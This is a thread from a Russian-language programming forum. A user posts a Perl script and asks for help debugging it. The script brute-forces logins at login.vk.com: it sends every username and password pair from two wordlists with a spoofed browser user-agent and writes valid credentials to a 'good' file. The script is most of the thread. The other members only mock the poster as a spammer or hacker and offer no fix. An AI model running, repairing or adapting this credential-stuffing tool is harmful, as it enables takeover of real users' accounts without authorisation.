VPF::Помогите с Perl - Форум программистов

sd166

Дата 10.2.2012, 22:47 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 2
Регистрация: 26.1.2012

Репутация: нет
Всего: нет

Здравствуйте,
помогите разобраться пожалуйста!!!

есть код

Код



#!/usr/bin/perl -w

#use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Cookies;
use LWP;
use Getopt::Std;
use Parallel::ForkManager;


my %option;

getopts('u:p:h', \%option);
if(!$option{'u'} && !$option{'p'})
{
    if($option{'h'})
  {
      &helper;
  }
    else
  {
      &usage;
  }
}
#  our($opt_u,$opt_p);

my $userlist = $option{'u'};
my $passlist = $option{'p'};

#*****************************OPEN FILE********************************


   open(USERS, "<$userlist") || die ("Cannot open username file");
   open(WORDS, "<$passlist") || die ("Cannot open password file");
   @users= <USERS>;
   @words= <WORDS>;
   close(USERS);
   close(WORDS);
   $i=0;
 
 foreach $user (@users) {
 chomp($user);
 foreach $pass (@words) {
 chomp($pass);


   my $browser = LWP::UserAgent->new();
   printf ("\n%5d Trying $user:$pass", ++$i);
     $browser->agent('Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1');
        my $cookie_c = HTTP::Cookies -> new (file => 'lwp_cookies.dat',autosave => 1,);
          $browser->cookie_jar($cookie_c);
        my $responce=undef;
        my $url = 'https://login.vk.com';

        my $headers = HTTP::Headers->new(
                                Host=>'login.vk.com',
                                Content_Type => 'application/x-www-form-urlencoded',
                                Referer=>$url,
                                Accept=>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
                                );


        my $content = 'username='.$user.'&password='.$pass.'';

my $req = HTTP::Request->new('POST',$url,$headers,$content);

my $res = $browser->request($req);

#printf ("\n%5d Trying $user:$pass", ++$i);

if($res->status_line=~m/302 Found/gi)
{
open (LOG, ">>good");
$time = time();
$loctime = localtime($time);
print LOG "\n";
print LOG "Время: $loctime\n";
print LOG "Логин: $user\n";
print LOG "Пароль: $pass\n\n";
close (LOG);
}

if($res->is_success)
  {      }
   else
   {
                        if($res->status_line=~m/302 Found/gi)
      {
                  die "[+] USERNAME \t[$user] \tPASSWORD \t[$pass]\t[ OK ]\n";
                        }
      else
      {
          print $res->status_line."\n";
       }
}

есть два файла
list и pass
данный код работает
если в pass первая строка указана правельно т.е. пароль
тогда он его пишет в файл good а если этот пароль написать во второй или любой последующей строчке то ничего не происходит.
получается что он только подставляет первую строку и всё((((

Помогите пжалуйста

sd166

Дата 11.2.2012, 03:28 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 2
Регистрация: 26.1.2012

Репутация: нет
Всего: нет

Что ни кто не знает?

DurRandir

Дата 11.2.2012, 16:52 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 335
Регистрация: 27.9.2009

Репутация: нет
Всего: 17

Специальный тариф для спамеров - 50$/час.

tzirechnoy

Дата 11.2.2012, 20:36 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Завсегдатай
Сообщений: 1173
Регистрация: 30.1.2009

Репутация: 0
Всего: 16

Цитата(DurRandir @ 11.2.2012, 16:52)

Специальный тариф для спамеров - 50$/час.

Он не спаммир, он хаккир.

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Perl: Системное программирование \| Следующая тема »